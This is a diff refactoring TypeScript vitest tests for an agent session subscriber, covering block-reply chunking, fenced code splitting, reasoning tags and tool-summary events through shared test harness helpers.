||||
|
||||
const subscription = subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run",
|
||||
onBlockReply,
|
||||
blockReplyBreak: "text_end",
|
||||
});
|
||||
|
||||
handler?.({ type: "message_start", message: { role: "assistant" } });
|
||||
|
||||
handler?.({
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: {
|
||||
@@ -92,13 +73,13 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
} as AssistantMessage;
|
||||
|
||||
// Simulate a provider that ends the message without emitting text_end.
|
||||
handler?.({ type: "message_end", message: assistantMessage });
|
||||
emit({ type: "message_end", message: assistantMessage });
|
||||
|
||||
expect(onBlockReply).toHaveBeenCalledTimes(1);
|
||||
expect(subscription.assistantTexts).toEqual(["Hello block"]);
|
||||
|
||||
// Some providers can still emit a late text_end; this must not re-emit.
|
||||
handler?.({
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: {
|
||||
|
||||
@@ -1,11 +1,8 @@
|
||||
import type { AssistantMessage } from "@mariozechner/pi-ai";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import { createStubSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js";
|
||||
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
|
||||
|
||||
type StubSession = {
|
||||
subscribe: (fn: (evt: unknown) => void) => () => void;
|
||||
};
|
||||
|
||||
describe("subscribeEmbeddedPiSession", () => {
|
||||
const THINKING_TAG_CASES = [
|
||||
{ tag: "think", open: "<think>", close: "</think>" },
|
||||
@@ -14,25 +11,24 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
{ tag: "antthinking", open: "<antthinking>", close: "</antthinking>" },
|
||||
] as const;
|
||||
|
||||
it("emits reasoning as a separate message when enabled", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
function createReasoningBlockReplyHarness() {
|
||||
const { session, emit } = createStubSessionHarness();
|
||||
const onBlockReply = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
session,
|
||||
runId: "run",
|
||||
onBlockReply,
|
||||
blockReplyBreak: "message_end",
|
||||
reasoningMode: "on",
|
||||
});
|
||||
|
||||
return { emit, onBlockReply };
|
||||
}
|
||||
|
||||
it("emits reasoning as a separate message when enabled", () => {
|
||||
const { emit, onBlockReply } = createReasoningBlockReplyHarness();
|
||||
|
||||
const assistantMessage = {
|
||||
role: "assistant",
|
||||
content: [
|
||||
@@ -41,7 +37,7 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
],
|
||||
} as AssistantMessage;
|
||||
|
||||
handler?.({ type: "message_end", message: assistantMessage });
|
||||
emit({ type: "message_end", message: assistantMessage });
|
||||
|
||||
expect(onBlockReply).toHaveBeenCalledTimes(2);
|
||||
expect(onBlockReply.mock.calls[0][0].text).toBe("Reasoning:\n_Because it helps_");
|
||||
@@ -50,23 +46,7 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
it.each(THINKING_TAG_CASES)(
|
||||
"promotes <%s> tags to thinking blocks at write-time",
|
||||
({ open, close }) => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
const onBlockReply = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run",
|
||||
onBlockReply,
|
||||
blockReplyBreak: "message_end",
|
||||
reasoningMode: "on",
|
||||
});
|
||||
const { emit, onBlockReply } = createReasoningBlockReplyHarness();
|
||||
|
||||
const assistantMessage = {
|
||||
role: "assistant",
|
||||
@@ -78,7 +58,7 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
],
|
||||
} as AssistantMessage;
|
||||
|
||||
handler?.({ type: "message_end", message: assistantMessage });
|
||||
emit({ type: "message_end", message: assistantMessage });
|
||||
|
||||
expect(onBlockReply).toHaveBeenCalledTimes(2);
|
||||
expect(onBlockReply.mock.calls[0][0].text).toBe("Reasoning:\n_Because it helps_");
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
import type { AssistantMessage } from "@mariozechner/pi-ai";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import {
|
||||
createStubSessionHarness,
|
||||
extractAgentEventPayloads,
|
||||
emitMessageStartAndEndForAssistantText,
|
||||
expectSingleAgentEventText,
|
||||
} from "./pi-embedded-subscribe.e2e-harness.js";
|
||||
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
|
||||
|
||||
@@ -60,38 +60,21 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
enforceFinalTag: true,
|
||||
onAgentEvent,
|
||||
});
|
||||
|
||||
const assistantMessage = {
|
||||
role: "assistant",
|
||||
content: [{ type: "text", text: "Hello world" }],
|
||||
} as AssistantMessage;
|
||||
|
||||
emit({ type: "message_start", message: assistantMessage });
|
||||
emit({ type: "message_end", message: assistantMessage });
|
||||
|
||||
const payloads = extractAgentEventPayloads(onAgentEvent.mock.calls);
|
||||
expect(payloads).toHaveLength(1);
|
||||
expect(payloads[0]?.text).toBe("Hello world");
|
||||
expect(payloads[0]?.delta).toBe("Hello world");
|
||||
emitMessageStartAndEndForAssistantText({ emit, text: "Hello world" });
|
||||
expectSingleAgentEventText(onAgentEvent.mock.calls, "Hello world");
|
||||
});
|
||||
it("does not require <final> when enforcement is off", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
const { session, emit } = createStubSessionHarness();
|
||||
|
||||
const onPartialReply = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
session,
|
||||
runId: "run",
|
||||
onPartialReply,
|
||||
});
|
||||
|
||||
handler?.({
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: {
|
||||
@@ -104,18 +87,12 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
expect(payload.text).toBe("Hello world");
|
||||
});
|
||||
it("emits block replies on message_end", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
const { session, emit } = createStubSessionHarness();
|
||||
|
||||
const onBlockReply = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
session,
|
||||
runId: "run",
|
||||
onBlockReply,
|
||||
blockReplyBreak: "message_end",
|
||||
@@ -126,7 +103,7 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
content: [{ type: "text", text: "Hello block" }],
|
||||
} as AssistantMessage;
|
||||
|
||||
handler?.({ type: "message_end", message: assistantMessage });
|
||||
emit({ type: "message_end", message: assistantMessage });
|
||||
|
||||
expect(onBlockReply).toHaveBeenCalled();
|
||||
const payload = onBlockReply.mock.calls[0][0];
|
||||
|
||||
@@ -1,30 +1,17 @@
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
|
||||
|
||||
type StubSession = {
|
||||
subscribe: (fn: (evt: unknown) => void) => () => void;
|
||||
};
|
||||
import { createSubscribedSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js";
|
||||
|
||||
describe("subscribeEmbeddedPiSession", () => {
|
||||
it("includes canvas action metadata in tool summaries", async () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
const onToolResult = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
const toolHarness = createSubscribedSessionHarness({
|
||||
runId: "run-canvas-tool",
|
||||
verboseLevel: "on",
|
||||
onToolResult,
|
||||
});
|
||||
|
||||
handler?.({
|
||||
toolHarness.emit({
|
||||
type: "tool_execution_start",
|
||||
toolName: "canvas",
|
||||
toolCallId: "tool-canvas-1",
|
||||
@@ -42,24 +29,15 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
expect(payload.text).toContain("/tmp/a2ui.jsonl");
|
||||
});
|
||||
it("skips tool summaries when shouldEmitToolResult is false", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
const onToolResult = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
const toolHarness = createSubscribedSessionHarness({
|
||||
runId: "run-tool-off",
|
||||
shouldEmitToolResult: () => false,
|
||||
onToolResult,
|
||||
});
|
||||
|
||||
handler?.({
|
||||
toolHarness.emit({
|
||||
type: "tool_execution_start",
|
||||
toolName: "read",
|
||||
toolCallId: "tool-2",
|
||||
@@ -69,25 +47,16 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
expect(onToolResult).not.toHaveBeenCalled();
|
||||
});
|
||||
it("emits tool summaries when shouldEmitToolResult overrides verbose", async () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
const onToolResult = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
const toolHarness = createSubscribedSessionHarness({
|
||||
runId: "run-tool-override",
|
||||
verboseLevel: "off",
|
||||
shouldEmitToolResult: () => true,
|
||||
onToolResult,
|
||||
});
|
||||
|
||||
handler?.({
|
||||
toolHarness.emit({
|
||||
type: "tool_execution_start",
|
||||
toolName: "read",
|
||||
toolCallId: "tool-3",
|
||||
|
||||
@@ -1,100 +1,43 @@
|
||||
import type { AssistantMessage } from "@mariozechner/pi-ai";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
|
||||
|
||||
type StubSession = {
|
||||
subscribe: (fn: (evt: unknown) => void) => () => void;
|
||||
};
|
||||
import {
|
||||
createParagraphChunkedBlockReplyHarness,
|
||||
emitAssistantTextDeltaAndEnd,
|
||||
extractTextPayloads,
|
||||
} from "./pi-embedded-subscribe.e2e-harness.js";
|
||||
|
||||
describe("subscribeEmbeddedPiSession", () => {
|
||||
it("keeps indented fenced blocks intact", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
const onBlockReply = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run",
|
||||
const { emit } = createParagraphChunkedBlockReplyHarness({
|
||||
onBlockReply,
|
||||
blockReplyBreak: "message_end",
|
||||
blockReplyChunking: {
|
||||
chunking: {
|
||||
minChars: 5,
|
||||
maxChars: 30,
|
||||
breakPreference: "paragraph",
|
||||
},
|
||||
});
|
||||
|
||||
const text = "Intro\n\n ```js\n const x = 1;\n ```\n\nOutro";
|
||||
|
||||
handler?.({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: {
|
||||
type: "text_delta",
|
||||
delta: text,
|
||||
},
|
||||
});
|
||||
|
||||
const assistantMessage = {
|
||||
role: "assistant",
|
||||
content: [{ type: "text", text }],
|
||||
} as AssistantMessage;
|
||||
|
||||
handler?.({ type: "message_end", message: assistantMessage });
|
||||
emitAssistantTextDeltaAndEnd({ emit, text });
|
||||
|
||||
expect(onBlockReply).toHaveBeenCalledTimes(3);
|
||||
expect(onBlockReply.mock.calls[1][0].text).toBe(" ```js\n const x = 1;\n ```");
|
||||
});
|
||||
it("accepts longer fence markers for close", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
const onBlockReply = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run",
|
||||
const { emit } = createParagraphChunkedBlockReplyHarness({
|
||||
onBlockReply,
|
||||
blockReplyBreak: "message_end",
|
||||
blockReplyChunking: {
|
||||
chunking: {
|
||||
minChars: 10,
|
||||
maxChars: 30,
|
||||
breakPreference: "paragraph",
|
||||
},
|
||||
});
|
||||
|
||||
const text = "Intro\n\n````md\nline1\nline2\n````\n\nOutro";
|
||||
|
||||
handler?.({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: {
|
||||
type: "text_delta",
|
||||
delta: text,
|
||||
},
|
||||
});
|
||||
emitAssistantTextDeltaAndEnd({ emit, text });
|
||||
|
||||
const assistantMessage = {
|
||||
role: "assistant",
|
||||
content: [{ type: "text", text }],
|
||||
} as AssistantMessage;
|
||||
|
||||
handler?.({ type: "message_end", message: assistantMessage });
|
||||
|
||||
const payloadTexts = onBlockReply.mock.calls
|
||||
.map((call) => call[0]?.text)
|
||||
.filter((value): value is string => typeof value === "string");
|
||||
const payloadTexts = extractTextPayloads(onBlockReply.mock.calls);
|
||||
expect(payloadTexts.length).toBeGreaterThan(0);
|
||||
const combined = payloadTexts.join(" ").replace(/\s+/g, " ").trim();
|
||||
expect(combined).toContain("````md");
|
||||
|
||||
@@ -1,101 +1,37 @@
|
||||
import type { AssistantMessage } from "@mariozechner/pi-ai";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
|
||||
|
||||
type StubSession = {
|
||||
subscribe: (fn: (evt: unknown) => void) => () => void;
|
||||
};
|
||||
import {
|
||||
createParagraphChunkedBlockReplyHarness,
|
||||
emitAssistantTextDeltaAndEnd,
|
||||
expectFencedChunks,
|
||||
} from "./pi-embedded-subscribe.e2e-harness.js";
|
||||
|
||||
describe("subscribeEmbeddedPiSession", () => {
|
||||
it("reopens fenced blocks when splitting inside them", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
const onBlockReply = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run",
|
||||
const { emit } = createParagraphChunkedBlockReplyHarness({
|
||||
onBlockReply,
|
||||
blockReplyBreak: "message_end",
|
||||
blockReplyChunking: {
|
||||
chunking: {
|
||||
minChars: 10,
|
||||
maxChars: 30,
|
||||
breakPreference: "paragraph",
|
||||
},
|
||||
});
|
||||
|
||||
const text = `\`\`\`txt\n${"a".repeat(80)}\n\`\`\``;
|
||||
|
||||
handler?.({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: {
|
||||
type: "text_delta",
|
||||
delta: text,
|
||||
},
|
||||
});
|
||||
|
||||
const assistantMessage = {
|
||||
role: "assistant",
|
||||
content: [{ type: "text", text }],
|
||||
} as AssistantMessage;
|
||||
|
||||
handler?.({ type: "message_end", message: assistantMessage });
|
||||
|
||||
expect(onBlockReply.mock.calls.length).toBeGreaterThan(1);
|
||||
for (const call of onBlockReply.mock.calls) {
|
||||
const chunk = call[0].text as string;
|
||||
expect(chunk.startsWith("```txt")).toBe(true);
|
||||
const fenceCount = chunk.match(/```/g)?.length ?? 0;
|
||||
expect(fenceCount).toBeGreaterThanOrEqual(2);
|
||||
}
|
||||
emitAssistantTextDeltaAndEnd({ emit, text });
|
||||
expectFencedChunks(onBlockReply.mock.calls, "```txt");
|
||||
});
|
||||
it("avoids splitting inside tilde fences", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
const onBlockReply = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run",
|
||||
const { emit } = createParagraphChunkedBlockReplyHarness({
|
||||
onBlockReply,
|
||||
blockReplyBreak: "message_end",
|
||||
blockReplyChunking: {
|
||||
chunking: {
|
||||
minChars: 5,
|
||||
maxChars: 25,
|
||||
breakPreference: "paragraph",
|
||||
},
|
||||
});
|
||||
|
||||
const text = "Intro\n\n~~~sh\nline1\nline2\n~~~\n\nOutro";
|
||||
|
||||
handler?.({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: {
|
||||
type: "text_delta",
|
||||
delta: text,
|
||||
},
|
||||
});
|
||||
|
||||
const assistantMessage = {
|
||||
role: "assistant",
|
||||
content: [{ type: "text", text }],
|
||||
} as AssistantMessage;
|
||||
|
||||
handler?.({ type: "message_end", message: assistantMessage });
|
||||
emitAssistantTextDeltaAndEnd({ emit, text });
|
||||
|
||||
expect(onBlockReply).toHaveBeenCalledTimes(3);
|
||||
expect(onBlockReply.mock.calls[1][0].text).toBe("~~~sh\nline1\nline2\n~~~");
|
||||
|
||||
@@ -1,60 +1,28 @@
|
||||
import type { AssistantMessage } from "@mariozechner/pi-ai";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import {
|
||||
createParagraphChunkedBlockReplyHarness,
|
||||
emitAssistantTextDeltaAndEnd,
|
||||
expectFencedChunks,
|
||||
} from "./pi-embedded-subscribe.e2e-harness.js";
|
||||
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
|
||||
|
||||
type StubSession = {
|
||||
subscribe: (fn: (evt: unknown) => void) => () => void;
|
||||
};
|
||||
type SessionEventHandler = (evt: unknown) => void;
|
||||
|
||||
describe("subscribeEmbeddedPiSession", () => {
|
||||
it("splits long single-line fenced blocks with reopen/close", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
const onBlockReply = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run",
|
||||
const { emit } = createParagraphChunkedBlockReplyHarness({
|
||||
onBlockReply,
|
||||
blockReplyBreak: "message_end",
|
||||
blockReplyChunking: {
|
||||
chunking: {
|
||||
minChars: 10,
|
||||
maxChars: 40,
|
||||
breakPreference: "paragraph",
|
||||
},
|
||||
});
|
||||
|
||||
const text = `\`\`\`json\n${"x".repeat(120)}\n\`\`\``;
|
||||
|
||||
handler?.({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: {
|
||||
type: "text_delta",
|
||||
delta: text,
|
||||
},
|
||||
});
|
||||
|
||||
const assistantMessage = {
|
||||
role: "assistant",
|
||||
content: [{ type: "text", text }],
|
||||
} as AssistantMessage;
|
||||
|
||||
handler?.({ type: "message_end", message: assistantMessage });
|
||||
|
||||
expect(onBlockReply.mock.calls.length).toBeGreaterThan(1);
|
||||
for (const call of onBlockReply.mock.calls) {
|
||||
const chunk = call[0].text as string;
|
||||
expect(chunk.startsWith("```json")).toBe(true);
|
||||
const fenceCount = chunk.match(/```/g)?.length ?? 0;
|
||||
expect(fenceCount).toBeGreaterThanOrEqual(2);
|
||||
}
|
||||
emitAssistantTextDeltaAndEnd({ emit, text });
|
||||
expectFencedChunks(onBlockReply.mock.calls, "```json");
|
||||
});
|
||||
it("waits for auto-compaction retry and clears buffered text", async () => {
|
||||
const listeners: SessionEventHandler[] = [];
|
||||
|
||||
@@ -1,43 +1,23 @@
|
||||
import type { AssistantMessage } from "@mariozechner/pi-ai";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import { createStubSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js";
|
||||
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
|
||||
import {
|
||||
createParagraphChunkedBlockReplyHarness,
|
||||
emitAssistantTextDeltaAndEnd,
|
||||
} from "./pi-embedded-subscribe.e2e-harness.js";
|
||||
|
||||
describe("subscribeEmbeddedPiSession", () => {
|
||||
it("streams soft chunks with paragraph preference", () => {
|
||||
const { session, emit } = createStubSessionHarness();
|
||||
|
||||
const onBlockReply = vi.fn();
|
||||
|
||||
const subscription = subscribeEmbeddedPiSession({
|
||||
session,
|
||||
runId: "run",
|
||||
const { emit, subscription } = createParagraphChunkedBlockReplyHarness({
|
||||
onBlockReply,
|
||||
blockReplyBreak: "message_end",
|
||||
blockReplyChunking: {
|
||||
chunking: {
|
||||
minChars: 5,
|
||||
maxChars: 25,
|
||||
breakPreference: "paragraph",
|
||||
},
|
||||
});
|
||||
|
||||
const text = "First block line\n\nSecond block line";
|
||||
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: {
|
||||
type: "text_delta",
|
||||
delta: text,
|
||||
},
|
||||
});
|
||||
|
||||
const assistantMessage = {
|
||||
role: "assistant",
|
||||
content: [{ type: "text", text }],
|
||||
} as AssistantMessage;
|
||||
|
||||
emit({ type: "message_end", message: assistantMessage });
|
||||
emitAssistantTextDeltaAndEnd({ emit, text });
|
||||
|
||||
expect(onBlockReply).toHaveBeenCalledTimes(2);
|
||||
expect(onBlockReply.mock.calls[0][0].text).toBe("First block line");
|
||||
@@ -45,39 +25,18 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
expect(subscription.assistantTexts).toEqual(["First block line", "Second block line"]);
|
||||
});
|
||||
it("avoids splitting inside fenced code blocks", () => {
|
||||
const { session, emit } = createStubSessionHarness();
|
||||
|
||||
const onBlockReply = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session,
|
||||
runId: "run",
|
||||
const { emit } = createParagraphChunkedBlockReplyHarness({
|
||||
onBlockReply,
|
||||
blockReplyBreak: "message_end",
|
||||
blockReplyChunking: {
|
||||
chunking: {
|
||||
minChars: 5,
|
||||
maxChars: 25,
|
||||
breakPreference: "paragraph",
|
||||
},
|
||||
});
|
||||
|
||||
const text = "Intro\n\n```bash\nline1\nline2\n```\n\nOutro";
|
||||
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: {
|
||||
type: "text_delta",
|
||||
delta: text,
|
||||
},
|
||||
});
|
||||
|
||||
const assistantMessage = {
|
||||
role: "assistant",
|
||||
content: [{ type: "text", text }],
|
||||
} as AssistantMessage;
|
||||
|
||||
emit({ type: "message_end", message: assistantMessage });
|
||||
emitAssistantTextDeltaAndEnd({ emit, text });
|
||||
|
||||
expect(onBlockReply).toHaveBeenCalledTimes(3);
|
||||
expect(onBlockReply.mock.calls[0][0].text).toBe("Intro");
|
||||
|
||||
@@ -2,6 +2,8 @@ import type { AssistantMessage } from "@mariozechner/pi-ai";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import {
|
||||
createStubSessionHarness,
|
||||
emitMessageStartAndEndForAssistantText,
|
||||
expectSingleAgentEventText,
|
||||
extractAgentEventPayloads,
|
||||
} from "./pi-embedded-subscribe.e2e-harness.js";
|
||||
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
|
||||
@@ -18,6 +20,54 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
{ tag: "antthinking", open: "<antthinking>", close: "</antthinking>" },
|
||||
] as const;
|
||||
|
||||
function createAgentEventHarness(options?: { runId?: string; sessionKey?: string }) {
|
||||
const { session, emit } = createStubSessionHarness();
|
||||
const onAgentEvent = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session,
|
||||
runId: options?.runId ?? "run",
|
||||
onAgentEvent,
|
||||
sessionKey: options?.sessionKey,
|
||||
});
|
||||
|
||||
return { emit, onAgentEvent };
|
||||
}
|
||||
|
||||
function createToolErrorHarness(runId: string) {
|
||||
const { session, emit } = createStubSessionHarness();
|
||||
const subscription = subscribeEmbeddedPiSession({
|
||||
session,
|
||||
runId,
|
||||
sessionKey: "test-session",
|
||||
});
|
||||
|
||||
return { emit, subscription };
|
||||
}
|
||||
|
||||
function emitToolRun(params: {
|
||||
emit: (evt: unknown) => void;
|
||||
toolName: string;
|
||||
toolCallId: string;
|
||||
args?: Record<string, unknown>;
|
||||
isError: boolean;
|
||||
result: unknown;
|
||||
}): void {
|
||||
params.emit({
|
||||
type: "tool_execution_start",
|
||||
toolName: params.toolName,
|
||||
toolCallId: params.toolCallId,
|
||||
args: params.args,
|
||||
});
|
||||
params.emit({
|
||||
type: "tool_execution_end",
|
||||
toolName: params.toolName,
|
||||
toolCallId: params.toolCallId,
|
||||
isError: params.isError,
|
||||
result: params.result,
|
||||
});
|
||||
}
|
||||
|
||||
it.each(THINKING_TAG_CASES)(
|
||||
"streams <%s> reasoning via onReasoningStream without leaking into final text",
|
||||
({ open, close }) => {
|
||||
@@ -152,37 +202,21 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
);
|
||||
|
||||
it("emits delta chunks in agent events for streaming assistant text", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
const { emit, onAgentEvent } = createAgentEventHarness();
|
||||
|
||||
const onAgentEvent = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run",
|
||||
onAgentEvent,
|
||||
});
|
||||
|
||||
handler?.({ type: "message_start", message: { role: "assistant" } });
|
||||
handler?.({
|
||||
emit({ type: "message_start", message: { role: "assistant" } });
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: { type: "text_delta", delta: "Hello" },
|
||||
});
|
||||
handler?.({
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: { type: "text_delta", delta: " world" },
|
||||
});
|
||||
|
||||
const payloads = onAgentEvent.mock.calls
|
||||
.map((call) => call[0]?.data as Record<string, unknown> | undefined)
|
||||
.filter((value): value is Record<string, unknown> => Boolean(value));
|
||||
const payloads = extractAgentEventPayloads(onAgentEvent.mock.calls);
|
||||
expect(payloads[0]?.text).toBe("Hello");
|
||||
expect(payloads[0]?.delta).toBe("Hello");
|
||||
expect(payloads[1]?.text).toBe("Hello world");
|
||||
@@ -199,6 +233,12 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
runId: "run",
|
||||
onAgentEvent,
|
||||
});
|
||||
emitMessageStartAndEndForAssistantText({ emit, text: "Hello world" });
|
||||
expectSingleAgentEventText(onAgentEvent.mock.calls, "Hello world");
|
||||
});
|
||||
|
||||
it("does not emit duplicate agent events when message_end repeats", () => {
|
||||
const { emit, onAgentEvent } = createAgentEventHarness();
|
||||
|
||||
const assistantMessage = {
|
||||
role: "assistant",
|
||||
@@ -207,153 +247,66 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
|
||||
emit({ type: "message_start", message: assistantMessage });
|
||||
emit({ type: "message_end", message: assistantMessage });
|
||||
emit({ type: "message_end", message: assistantMessage });
|
||||
|
||||
const payloads = extractAgentEventPayloads(onAgentEvent.mock.calls);
|
||||
expect(payloads).toHaveLength(1);
|
||||
expect(payloads[0]?.text).toBe("Hello world");
|
||||
expect(payloads[0]?.delta).toBe("Hello world");
|
||||
});
|
||||
|
||||
it("does not emit duplicate agent events when message_end repeats", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
const onAgentEvent = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run",
|
||||
onAgentEvent,
|
||||
});
|
||||
|
||||
const assistantMessage = {
|
||||
role: "assistant",
|
||||
content: [{ type: "text", text: "Hello world" }],
|
||||
} as AssistantMessage;
|
||||
|
||||
handler?.({ type: "message_start", message: assistantMessage });
|
||||
handler?.({ type: "message_end", message: assistantMessage });
|
||||
handler?.({ type: "message_end", message: assistantMessage });
|
||||
|
||||
const payloads = onAgentEvent.mock.calls
|
||||
